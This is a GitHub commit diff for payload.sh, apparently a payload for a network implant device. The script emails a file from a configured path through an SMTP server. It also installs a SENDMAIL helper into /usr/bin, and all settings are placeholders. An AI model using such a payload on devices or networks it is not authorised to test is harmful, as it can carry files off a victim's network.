Update payload.sh

pull/16/head
TheDragonkeeper 2017-11-07 23:07:08 +00:00 committed by GitHub
parent 349d442f5b
commit bfd5d2a29d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 10 additions and 1 deletions

View File

@ -1,3 +1,5 @@
#!/bin/bash
function run() {
LED STAGE1
SWITCH_POS=$(SWITCH)
@ -10,10 +12,17 @@ function run() {
USER="username"
PASS="password"
FILE="/some/File/Path/1.txt"
python /root/payloads/$SWITCH_POS/sendmail.py $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"
SENDMAIL $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"
####### REMOVE THE FILE VAR FROM THE PYTHON COMMAND IF YOU HAVE NO PATH
LED FINISH
}
if [ ! -f /usr/bin/SENDMAIL ]; then
mv sendemail.py /usr/bin/
mv SENDMAIL /usr/bin/
chmod +rx /usr/bin/SENDMAIL
fi
NETMODE NAT
run